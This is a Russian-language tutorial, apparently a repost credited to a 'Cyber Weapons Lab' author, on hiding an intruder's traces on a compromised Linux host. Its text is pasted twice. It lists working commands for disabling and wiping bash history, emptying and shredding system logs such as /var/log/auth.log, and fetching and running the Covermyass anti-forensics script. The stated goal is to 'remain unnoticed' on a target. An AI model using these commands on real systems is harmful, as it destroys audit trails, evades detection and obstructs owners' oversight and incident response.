Удаление истории Bash
Bash хранит в памяти список команд, используемых в текущем сеансе, поэтому его обязательно нужно очистить, чтобы замести следы. Просмотрим текущую историю с помощью команды history:
Код:
Скопировать в буфер обмена
root@target:/# history
1 cd /
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history
Команды записываются в переменную среды
Код:
Скопировать в буфер обмена
HISTFILE
, обычно это
Код:
Скопировать в буфер обмена
.bash_history
. Воспользуемся echo для определения местоположения:
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
/root/.bash_history
Используем команду unset для удаления переменной:
Код:
Скопировать в буфер обмена
root@target:/# unset HISTFILE
Повторив процедуру снова, видим, что ничего не появляется:
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
Чтобы история команд не сохранялась, также можно ее отправить в /dev/null. Для этого установите переменную:
Код:
Скопировать в буфер обмена
root@target:/# HISTFILE=/dev/null
Или сделайте то же самое с командой экспорта:
Код:
Скопировать в буфер обмена
root@target:/# export HISTFILE=/dev/null
История теперь будет отправлена в /dev/null (то есть никуда):
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
/dev/null
Установите количество команд, которые будут сохраняться во время текущего сеанса, равным 0, используя переменную HISTSIZE:
Код:
Скопировать в буфер обмена
root@target:/# HISTSIZE=0
В качестве альтернативы используйте команду экспорта:
Код:
Скопировать в буфер обмена
root@target:/# export HISTSIZE=0
Измените количество строк, разрешенных в файле истории, с помощью переменной HISTFILESIZE. Установите данное значение на 0:
Код:
Скопировать в буфер обмена
root@target:/# HISTFILESIZE=0
Или с экспортом:
Код:
Скопировать в буфер обмена
root@target:/# export HISTFILESIZE=0
Для изменения параметров оболочки также можно использовать команду set. Чтобы отключить опцию истории, используйте следующую команду:
Код:
Скопировать в буфер обмена
root@target:/# set +o history
Снова включите ее:
Код:
Скопировать в буфер обмена
root@target:/# set -o history
Точно так же для изменения параметров оболочки можно использовать команду shopt. Чтобы отключить историю, используйте следующую команду:
Код:
Скопировать в буфер обмена
root@target:/# shopt -ou history
Снова включите ее:
Код:
Скопировать в буфер обмена
root@target:/# shopt -os history
Во время выполнения команд на целевой системе иногда получается избежать их сохранения в истории, запустив команду с начального пробела:
Код:
Скопировать в буфер обмена
root@target:~# cat /etc/passwd
Данный метод работает не всегда и зависит от системы. Также можно просто очистить историю с помощью переключателя -c :
Код:
Скопировать в буфер обмена
root@target:~# history -c
Чтобы убедиться, что изменения записаны на диск, используйте переключатель -w :
Код:
Скопировать в буфер обмена
root@target:~# history -w
Данные действия очистят историю только для текущего сеанса. Чтобы окончательно убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:
Код:
Скопировать в буфер обмена
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Также можно использовать команду kill для выхода из сеанса без сохранения истории:
Код:
Скопировать в буфер обмена
root@target:/# kill -9 $$
Очистка файла журнала
В дополнение к истории Bash также требуется почистить логи, чтобы оставаться незамеченными. Вот некоторые общие файлы журналов и их содержимое:
/var/log/auth.log Аутентификация
/var/log/cron.log Cron задачи
/var/log/maillog Почта
/var/log/httpd Apache
Конечно, можно просто удалить журнал с помощью команды rm :
Код:
Скопировать в буфер обмена
root@target:/# rm /var/log/auth.log
Но скорее всего, данная процедура вызовет многочисленные красные флажки. Поэтому лучше сделать файл пустым, чем стирать его полностью. Используем команду truncate, чтобы уменьшить размер файла до 0:
Код:
Скопировать в буфер обмена
root@target:/# truncate -s 0 /var/log/auth.log
Обратите внимание, функция усечения присутствует не всегда и не во всех системах.
То же самое можно сделать, отображая в файл “ничего”:
Код:
Скопировать в буфер обмена
root@target:/# echo '' > /var/log/auth.log
А также использовать > сам по себе для очистки файла:
Код:
Скопировать в буфер обмена
root@target:/# > /var/log/auth.log
Мы также можем отправить его в /dev/null:
Код:
Скопировать в буфер обмена
root@target:/# cat /dev/null > /var/log/auth.log
Или использовать команду tee :
Код:
Скопировать в буфер обмена
root@target:/# true | tee /var/log/auth.log
Также можно использовать команду dd, чтобы ничего не записывать в файл журнала:
Код:
Скопировать в буфер обмена
root@target:/# dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Команда shred может быть использована, чтобы поверх перезаписать файл с бессмысленными двоичными данными:
Код:
Скопировать в буфер обмена
root@target:/# shred /var/log/auth.log
Дополнительно добавив -zu, вы обрежете файл и перезапишете его нулями:
Код:
Скопировать в буфер обмена
root@target:/# shred -zu /var/log/auth.log
Скрипт Covermyass
Скрипт Covermyass автоматизирует процессы, рассмотренные нами ранее, включая очистку файлов журнала и отключение истории Bash.
Код:
Скопировать в буфер обмена
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Перейдите в каталог с возможностью записи и используйте chmod, чтобы сделать его исполняемым:
Код:
Скопировать в буфер обмена
root@target:/tmp# chmod +x covermyass
Затем запустите его:
Код:
Скопировать в буфер обмена
root@target:/tmp# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
Нам предоставляется настраиваемая подсказка с несколькими вариантами на выбор. Выберем первый, чтобы очистить логи:
Код:
Скопировать в буфер обмена
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Также можно отключить Bash и историю авторизации с помощью опции 2:
Код:
Скопировать в буфер обмена
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
Если вам нужно срочно все очистить, просто добавьте в команду now:
Код:
Скопировать в буфер обмена
root@target:/tmp# ./covermyass now
Код:
Скопировать в буфер обмена
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
автор @DRD_, Cyber Weapons Lab
Bash хранит в памяти список команд, используемых в текущем сеансе, поэтому его обязательно нужно очистить, чтобы замести следы. Просмотрим текущую историю с помощью команды history:
Код:
Скопировать в буфер обмена
root@target:/# history
1 cd /
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history
Команды записываются в переменную среды
Код:
Скопировать в буфер обмена
HISTFILE
, обычно это
Код:
Скопировать в буфер обмена
.bash_history
. Воспользуемся echo для определения местоположения:
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
/root/.bash_history
Используем команду unset для удаления переменной:
Код:
Скопировать в буфер обмена
root@target:/# unset HISTFILE
Повторив процедуру снова, видим, что ничего не появляется:
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
Чтобы история команд не сохранялась, также можно ее отправить в /dev/null. Для этого установите переменную:
Код:
Скопировать в буфер обмена
root@target:/# HISTFILE=/dev/null
Или сделайте то же самое с командой экспорта:
Код:
Скопировать в буфер обмена
root@target:/# export HISTFILE=/dev/null
История теперь будет отправлена в /dev/null (то есть никуда):
Код:
Скопировать в буфер обмена
root@target:/# echo $HISTFILE
/dev/null
Установите количество команд, которые будут сохраняться во время текущего сеанса, равным 0, используя переменную HISTSIZE:
Код:
Скопировать в буфер обмена
root@target:/# HISTSIZE=0
В качестве альтернативы используйте команду экспорта:
Код:
Скопировать в буфер обмена
root@target:/# export HISTSIZE=0
Измените количество строк, разрешенных в файле истории, с помощью переменной HISTFILESIZE. Установите данное значение на 0:
Код:
Скопировать в буфер обмена
root@target:/# HISTFILESIZE=0
Или с экспортом:
Код:
Скопировать в буфер обмена
root@target:/# export HISTFILESIZE=0
Для изменения параметров оболочки также можно использовать команду set. Чтобы отключить опцию истории, используйте следующую команду:
Код:
Скопировать в буфер обмена
root@target:/# set +o history
Снова включите ее:
Код:
Скопировать в буфер обмена
root@target:/# set -o history
Точно так же для изменения параметров оболочки можно использовать команду shopt. Чтобы отключить историю, используйте следующую команду:
Код:
Скопировать в буфер обмена
root@target:/# shopt -ou history
Снова включите ее:
Код:
Скопировать в буфер обмена
root@target:/# shopt -os history
Во время выполнения команд на целевой системе иногда получается избежать их сохранения в истории, запустив команду с начального пробела:
Код:
Скопировать в буфер обмена
root@target:~# cat /etc/passwd
Данный метод работает не всегда и зависит от системы. Также можно просто очистить историю с помощью переключателя -c :
Код:
Скопировать в буфер обмена
root@target:~# history -c
Чтобы убедиться, что изменения записаны на диск, используйте переключатель -w :
Код:
Скопировать в буфер обмена
root@target:~# history -w
Данные действия очистят историю только для текущего сеанса. Чтобы окончательно убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:
Код:
Скопировать в буфер обмена
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Также можно использовать команду kill для выхода из сеанса без сохранения истории:
Код:
Скопировать в буфер обмена
root@target:/# kill -9 $$
Очистка файла журнала
В дополнение к истории Bash также требуется почистить логи, чтобы оставаться незамеченными. Вот некоторые общие файлы журналов и их содержимое:
/var/log/auth.log Аутентификация
/var/log/cron.log Cron задачи
/var/log/maillog Почта
/var/log/httpd Apache
Конечно, можно просто удалить журнал с помощью команды rm :
Код:
Скопировать в буфер обмена
root@target:/# rm /var/log/auth.log
Но скорее всего, данная процедура вызовет многочисленные красные флажки. Поэтому лучше сделать файл пустым, чем стирать его полностью. Используем команду truncate, чтобы уменьшить размер файла до 0:
Код:
Скопировать в буфер обмена
root@target:/# truncate -s 0 /var/log/auth.log
Обратите внимание, функция усечения присутствует не всегда и не во всех системах.
То же самое можно сделать, отображая в файл “ничего”:
Код:
Скопировать в буфер обмена
root@target:/# echo '' > /var/log/auth.log
А также использовать > сам по себе для очистки файла:
Код:
Скопировать в буфер обмена
root@target:/# > /var/log/auth.log
Мы также можем отправить его в /dev/null:
Код:
Скопировать в буфер обмена
root@target:/# cat /dev/null > /var/log/auth.log
Или использовать команду tee :
Код:
Скопировать в буфер обмена
root@target:/# true | tee /var/log/auth.log
Также можно использовать команду dd, чтобы ничего не записывать в файл журнала:
Код:
Скопировать в буфер обмена
root@target:/# dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Команда shred может быть использована, чтобы поверх перезаписать файл с бессмысленными двоичными данными:
Код:
Скопировать в буфер обмена
root@target:/# shred /var/log/auth.log
Дополнительно добавив -zu, вы обрежете файл и перезапишете его нулями:
Код:
Скопировать в буфер обмена
root@target:/# shred -zu /var/log/auth.log
Скрипт Covermyass
Скрипт Covermyass автоматизирует процессы, рассмотренные нами ранее, включая очистку файлов журнала и отключение истории Bash.
Код:
Скопировать в буфер обмена
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Перейдите в каталог с возможностью записи и используйте chmod, чтобы сделать его исполняемым:
Код:
Скопировать в буфер обмена
root@target:/tmp# chmod +x covermyass
Затем запустите его:
Код:
Скопировать в буфер обмена
root@target:/tmp# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
Нам предоставляется настраиваемая подсказка с несколькими вариантами на выбор. Выберем первый, чтобы очистить логи:
Код:
Скопировать в буфер обмена
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Также можно отключить Bash и историю авторизации с помощью опции 2:
Код:
Скопировать в буфер обмена
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
Если вам нужно срочно все очистить, просто добавьте в команду now:
Код:
Скопировать в буфер обмена
root@target:/tmp# ./covermyass now
Код:
Скопировать в буфер обмена
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
автор @DRD_, Cyber Weapons Lab